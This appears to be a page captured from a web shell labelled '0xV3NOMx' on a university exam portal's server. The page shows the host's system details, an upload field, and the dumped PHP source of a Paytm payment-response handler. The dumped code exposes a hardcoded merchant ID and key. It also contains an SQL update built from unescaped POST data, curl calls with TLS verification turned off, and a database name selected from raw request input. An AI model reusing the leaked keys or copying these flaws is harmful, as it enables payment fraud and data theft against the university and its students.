0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.105.199


Current Path : /proc/thread-self/root/var/www/html/kus/parikshamitra/
Upload File :
Current File : //proc/thread-self/root/var/www/html/kus/parikshamitra/pgResponse.php

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8" />
	<title>Parikshamitra</title>
	<link rel="shortcut icon" type="image/x-icon" href="../images/favicon.jpg" />
	<link rel="stylesheet" href="css/style.css" type="text/css" media="all" />
	<link rel="stylesheet" href="css/logstyle.css" type="text/css" media="all" />
	<!-- Bootstrap Core CSS -->
	<link href="css/bootstrap.css" rel='stylesheet' type='text/css' />
	<link href="css/animate.css" rel="stylesheet" type="text/css" media="all">
	<script src="js/home.js" type="text/javascript"></script>
	<script src="js/jquery-1.7.2.min.js" type="text/javascript"></script>
	<script src="js/index.js" type="text/javascript"></script>
	<script src="js/control.js" type="text/javascript"></script>
	<script src="js/dytable.js" type="text/javascript"></script>
	<script src="js/validate.js" type="text/javascript"></script>
	<script src="js/form_submit.js" type="text/javascript"></script>
	<script src="js/loadtable.js" type="text/javascript"></script> 
	<script src="js/cms.js" type="text/javascript"></script> 
</head>
<body>
	<!-- wrapper -->
	<div id="wrapper">
		<!-- shell -->
		<div class="shell">
			<!-- container -->
			<div class="container">	
				<div style="margin-right:10px;padding-top:8px;color:#fff;" class="nav-top">
					<span style="padding-left:5px;width:400px;" id="datestr"></span>
					
					<span style="float:right;padding-right:10px;">&nbsp;<span id="user_name"></span>&nbsp;&nbsp;&nbsp;&nbsp;<span onclick="window.location.href='index.html'">Home</span>&nbsp;</span>
				</div
				<!-- header -->
				<header class="header">
					<h1 id="logo"><a href="#">Logisys</a></h1>
					<br style="clear:both;"/>
				
					<nav id="navigation">
						<ul>
							<li class="active"><a href="index.html">Home</a></li>
							<li><a href="aboutus.html">About Us</a></li>
							<li><a href="#">Students Corner</a>
							<ul>
								<li><a href="results.html">Results</a></li>
								<li><a href="exam.html">Examination Application Form </a></li>
								<li><a href="student.html">Online Services </a></li>
								<li><a href="degreecert.html">Degree Certificate</a></li>
							</ul>
							</li>
							<li><a href="#" onclick="redirectCollegepage()">College Login</a></li>
							<li><a href="teachers.html">Teachers Corner</a></li>																			
							<li><a href="contacts.html">Contact Us</a></li>
						</ul>
					</nav>
					<div class="cl">&nbsp;</div>
				</header>
				<!-- end of header -->
				<div class="main">
				<div class="page-container" style='margin-top:111px;'>
					<!-- BEGIN CONTENT -->
					<div class="page-content-wrapper">
						<div class="page-content" style="min-height:350px;">
						
				
<?php


// following files need to be included
require_once("./lib/config_paytm.php");
require_once("./lib/encdec_paytm.php");
include("/var/www/config.php");




$paytmChecksum = "";
$paramList = array();
$isValidChecksum = "FALSE";
$cdb = $_REQUEST['cdb'];

if($cdb == 'kus')
{	
	$dbname = 'logisys3_kus';
}
else if($cdb == 'kusdde')
{
	$dbname = 'logisys3_kusd';
}

$servername = SERVERNAME;
$username   = USERNAME;
$password  = PASSWORD;

$conn = new mysqli($servername, $username, $password, $dbname);

 
$paramList = $_POST;

$paytmChecksum = isset($_POST["CHECKSUMHASH"]) ? $_POST["CHECKSUMHASH"] : ""; //Sent by Paytm pg
//Verify all parameters received from Paytm pg to your application. Like MID received from paytm pg is same as your application?s MID, TXN_AMOUNT and ORDER_ID are same as what was sent by you to Paytm PG for initiating transaction etc.
$isValidChecksum = verifychecksum_e($paramList, PAYTM_MERCHANT_KEY, $paytmChecksum); //will return TRUE or FALSE string.


if($isValidChecksum == "TRUE") 
{
	//	echo "<b>Checksum matched and following are the transaction details:</b>" . "<br/>";
	
		$status = $_POST["STATUS"];
		$ORDERID = $_POST["ORDERID"];
		$productinfo = $_POST["MERC_UNQ_REF"];
		$txnid = $_POST["TXNID"];
		$MID = $_POST["MID"];
		$CHECKSUMHASH = $_POST["CHECKSUMHASH"];
		//$productinfo = '103E3050155';
		$MID = 'KuvUni77420253992631'; //
		$requestParamList = array();
		$responseParamList = array();
		
		$requestParamList = array("MID" => "{$MID}" , "ORDERID" => "{$ORDERID}");  

		$checkSum = getChecksumFromArray($requestParamList,'CC_cHhDZDqzUskbQ');
		$requestParamList['CHECKSUMHASH'] = urlencode($checkSum);

		$data_string = "JsonData=".json_encode($requestParamList);
		
		$ch = curl_init();                    // initiate curl
		//$url = "https://pguat.paytm.com/oltp/HANDLER_INTERNAL/getTxnStatus?"; // where you want to post data
		$url = "https://secure.paytm.in/oltp/HANDLER_INTERNAL/getTxnStatus?"; // where you want to post data
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_URL,$url);
		curl_setopt($ch, CURLOPT_POST, true);  // tell curl you want to post something
		curl_setopt($ch, CURLOPT_POSTFIELDS,$data_string); // define what you want to post
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return the output in string format
		$headers = array();
		$headers[] = 'Content-Type: application/json';
		curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
		$output = curl_exec($ch); // execute
		$info = curl_getinfo($ch);

		$data = json_decode($output, true);
	
	//echo "<b>Checksum matched and following are the transaction details:</b>" . "<br/>";
	if ($data["STATUS"] == "TXN_SUCCESS") 
	{
		$status = $data["STATUS"];
		$productinfo = $data["MERC_UNQ_REF"];
		$txnid = $data["TXNID"];
		$MID = $data["MID"];
		$CHECKSUMHASH = $data["CHECKSUMHASH"];

			echo "<h1 style='color:green;'>Thank You. Your order status is success</h1>";
			echo "<h2>Your Transaction ID for this transaction is ".$data['TXNID'].".</h2>";
			echo "<h3>We have received a payment of Rs. " . $data['TXNAMOUNT']  ."</h3>";
			$html='
			<div class="class="btn btn_2 btn-lg btn-info"" style="width:241px;float:none; margin: 0 auto;" >
				<span onclick=\'CMS.PrintNETBANKCertifcatepaytm("'.$productinfo.'","'.$cdb.'");\' class="btn btn_2 btn-lg btn-info">Click here to take a PrintOut</span>
			</div>';
			echo $html;
			
			$update = "update servtran set  FPAYREMARKS='{$txnid}',
			FPAYSTATUS   = 'success', FPAYDATE = now(), FTRANID = '{$txnid}' 
			where FAPPNO = '{$productinfo}'";
			$result = $conn->query($update);
		
	}
	else 
	{
		echo "<b>Transaction status is failure</b>" . "<br/>";
	}

	/* if (isset($_POST) && count($_POST)>0 )
	{ 
		foreach($_POST as $paramName => $paramValue) 
		{
				echo "<br/>" . $paramName . " = " . $paramValue;
		}
	} */
	
}
else 
{
	echo "<b>Checksum mismatched.</b>";
	//Process transaction as suspicious.
}

?>
				</div>
			</div>
			<!-- END CONTENT -->
		</div>
		<!-- END CONTAINER -->
		</div>
		</div>
		<section style="background: url(images/appfromHd.jpg) repeat 0 0;"></section>
	</div>
	</div>
	</div>		
	<script type="text/javascript" src="js/bootstrap.min.js"></script>
	<!-- IMPORTANT! Load jquery-ui-1.10.3.custom.min.js before bootstrap.min.js to fix bootstrap tooltip conflict with jquery ui tooltip -->
	<script src="assets/plugins/bootstrap/js/bootstrap.min.js" type="text/javascript"></script>
	<script src="assets/plugins/bootstrap-hover-dropdown/bootstrap-hover-dropdown.min.js" type="text/javascript"></script>
	<script src="assets/plugins/jquery.blockui.min.js" type="text/javascript"></script>
	<script src="assets/plugins/bootbox/bootbox.min.js" type="text/javascript"></script>
	<script type="text/javascript" src="assets/plugins/jquery-inputmask/jquery.inputmask.bundle.min.js"></script>
</body>
</html>